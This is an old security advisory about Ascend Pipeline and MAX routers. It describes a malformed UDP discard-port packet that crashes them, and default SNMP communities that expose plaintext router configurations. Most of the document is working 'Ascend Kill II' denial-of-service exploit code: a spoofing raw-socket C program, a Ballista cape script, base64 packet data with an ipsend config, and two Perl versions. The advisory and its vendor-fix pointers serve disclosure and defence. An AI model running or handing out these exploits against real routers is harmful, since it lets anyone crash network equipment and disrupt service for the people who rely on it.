COMMAND
Ascens OS 5.0Ap42 (MAX) and 5.0A (Pipeline).
SYSTEMS AFFECTED
Ascend Pipeline and MAX networking equipment
PROBLEM
Following info is partly based on Secure Networks Security
Advisory on subject of security issues with Ascend routing
hardware. Ascend Communications provides several popular routing
and access-server solution, including the Pipeline access router
and the MAX access server.
Ascend provides a configuration tool for their equipment which
enables operators to reconfigure routers via a graphical
interface. This tool is called the "Ascend Java Configurator".
The Ascend Configurator is capable of locating Ascend routers on
a network, using a special probe protocol. In order to locate
Ascend routers, the Configurator broadcasts a specially formatted
UDP packet to the "discard" port (port 9). Ascend routers listen
for these packets and respond with another UDP packet that
contains the symbolic name of the router. In this manner, the
Configurator can build a list of all Ascend routers on the local
network. By sending a specially formatted malformed probe packet
to the discard port of an Ascend router, an attacker can cause an
Ascend router to lock up. Attackers can easily discover Ascend
routers to crash by sending probe packets to the discard port of
arbitrary ranges of addresses; only Ascend routers will respond
to them.
Ascend routers are manageable by the SNMP protocol. Ascend's SNMP
support includes the ability to read and write MIB variables.
Ascend's SNMP system is protected by the SNMP community
definitions, which act as passwords for SNMP access. By default,
the SNMP "read" password is "public", and the SNMP "write"
password is "write". An attacker that can guess the SNMP "read"
community can read arbitrary MIB variables, and an attacker that
can guess the "write" community can set arbitrary MIB variables to
new values. Ascend provides a vendor-specific extension MIB.
This MIB includes variables specific to Ascend equipment. Among
these variables is a group of settings called "sysConfigTftp",
which allow the configuration of the router to be manipulated via
the TFTP protocol. By writing to these variables with SNMP "set"
messages, an attacker can download the entire configuration of the
Ascend router.
The full configuration of an Ascend router includes the telnet
password (knowledge of which allows an attacker to gain telnet
access to the Ascend menu interface), all the enhanced access
passwords (allowing an attacker to reconfigure the router from
the menu interface), network protocol authentication keys
(including RADIUS and OSPF keys), usernames and passwords for
incoming connections, and usernames, passwords, and dial-up phone
numbers for outgoing connections. All of this information is in
plaintext. An attacker with full access to an Ascend router can
also use it to "sniff" the networks it is attached to. Ascend
routers have an extensive (and largely undocumented) debugging
interface; functions are included in this interface to obtain
hexadecimal dumps of raw Ethernet, ISDN, DS1, and modem traffic.
Exploit follows:
/*
* Ascend Kill II - C version
*
* (C) 1998 Rootshell
*
* Distribute freely.
*
* Released: 3/16/98
*
* Sends a specially constructed UDP packet on the discard port (9)
* which cause Ascend routers to reboot. (Warning! Ascend routers will
* process these if they are broadcast packets.)
*
* Compiled under RedHat 5.0 with glibc.
*
* NOTE: This program is NOT to be used for malicous purposes. This is
* intenteded for educational purposes only. By using this program
* you agree to use this for lawfull purposes ONLY.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <linux/udp.h>
#include <netdb.h>
#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }
/* This magic packet was taken from the Java Configurator */
char ascend_data[] =
{
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53};
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
char crashme[500];
int i;
ip.ihl = 5;
ip.version = 4;
ip.tos = rand () % 100;;
ip.tot_len = htons (28 + datalen);
ip.id = htons (31337 + (rand () % 100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum ((char *) &ip, sizeof (ip));
udp.source = htons (sport);
udp.dest = htons (dport);
udp.len = htons (8 + datalen);
udp.check = (short) 0;
memcpy (packet, (char *) &ip, sizeof (ip));
memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
/* Append random garbage to the packet, without this the router
will think this is a valid probe packet and reply. */
for (i = 0; i < 500; i++)
crashme[i] = rand () % 255;
memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
(struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}
unsigned int
lookup (host)
char *host;
{
unsigned int addr;
struct hostent *he;
addr = inet_addr (host);
if (addr == -1)
{
he = gethostbyname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;
bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
}
return (addr);
}
void
main (argc, argv)
int argc;
char **argv;
{
unsigned int saddr, daddr;
struct sockaddr_in sin;
int s, i;
if (argc != 3)
errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if (!(saddr = lookup (argv[1])))
err ("Unable to lookup source address.\n");
if (!(daddr = lookup (argv[2])))
err ("Unable to lookup destination address.\n");
sin.sin_family = AF_INET;
sin.sin_port = 9;
sin.sin_addr.s_addr = daddr;
if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
{
perror ("sendpkt_udp");
err ("Error sending the UDP packet.\n");
}
}
Secure Networks makes security auditing software called Ballista.
It has its own scripting language called cape. Here is a version
of Ascend Kill II written in cape.
iface=le0
# Enter your default gateway
gateway=10.0.0.1
ip
# Source IP of packet
ip_src=1.2.3.4
# Address of Ascend router
ip_dst=10.0.0.2
ip_version=4
ip_proto=IPPROTO_UDP
ip_flags=0
ip_done
udp
udp_sport=9
udp_dport=9
udp_done
data_file=ascend_data
end_of_packet
Here is the data that cape needs. It is mimed.
---
Content-Type: application/octet-stream; name="ascend_d.uue"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="ascend_d.uue"
Content-MD5: p5nq5uHNY1H5dc/H3BQmew==
AAAHoggSzP2kgQAAAAASNFZ4//////////8ATkFNRU5BTUVOQU1FTkFNRf9QQVNTV09SRFBB
U1NXT1JEUEFTU2ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZg==
-----
Using that data file with ipsend v2:
interface { ifname le0; mtu 1500; };
ipv4 {
src 1.1.1.1; dst 10.0.0.2;
udp { sport 9; dport 9; data { file ascend_data.uue; }; };
};
send { via 10.0.0.1; };
Kit Knox posted for everyone who had problems with the Linux only
version in C. This should be pretty cross platform. (Requires
perl 5.x):
#!/usr/bin/perl
#
# Ascend Kill II - perl version
# (C) 1998 Rootshell
#
# Released: 3/17/98
#
# Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues
# (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
#
# NOTE: This program is NOT to be used for malicous purposes. This is
# intenteded for educational purposes only. By using this program
# you agree to use this for lawfull purposes ONLY.
#
#
use Socket;
require "getopts.pl";
sub AF_INET {2;}
sub SOCK_DGRAM {2;}
sub ascend_kill {
$remotehost = shift(@_);
chop($hostname = `hostname`);
$port = 9;
$SIG{'INT'} = 'dokill';
$sockaddr = 'S n a4 x8';
($pname, $aliases, $proto) = getprotobyname('tcp');
($pname, $aliases, $port) = getservbyname($port, 'tcp')
unless $port =~ /^\d+$/;
($pname, $aliases, $ptype, $len, $thisaddr) =
gethostbyname($hostname);
$this = pack($sockaddr, AF_INET, 0, $thisaddr);
($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
$that = pack($sockaddr, AF_INET, $port, $thataddr);
socket(S, &AF_INET, &SOCK_DGRAM, 0);
$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);
for ($i=0; $i<500; $i++) {
$msg .= pack("c1", 0xff);
}
send(S,$msg,0,$that) || die "send:$!";
}
if ($ARGV[0] eq '') {
print "usage: akill2.pl <remote_host>\n";
exit;
}
&ascend_kill($ARGV[0]);
Another (same) perl version comes from Thomas Michaux:
# NOTE: This program is NOT to be used for malicous purposes. This is
# intenteded for educational purposes only. By using this
# program you agree to use this for lawfull purposes ONLY.
#!/usr/local/bin/perl
$| = 1;
use IO::Socket;
use Socket;
$sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr =>
'host.domain', Proto => 'udp') or die "Socket:$!";
$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);
for ($i=0; $i<500; $i++) {
$msg .= pack("c1", 0xff);
}
$sock->send($msg) || die "send:$!";
print "Message sent\n";
$sock->close();
SOLUTION
Ascend's 6.0 operating system disables SNMP "write" access by
default. The denial-of-service issue detailed in this advisory
is due to an implementation flaw in Ascend's software. A fix for
Ascend Kill II is now available. See :
ftp://ftp.ascend.com/pub/Software-Releases
For details of a workaround take a look at:
http://www.ascend.com/2694.html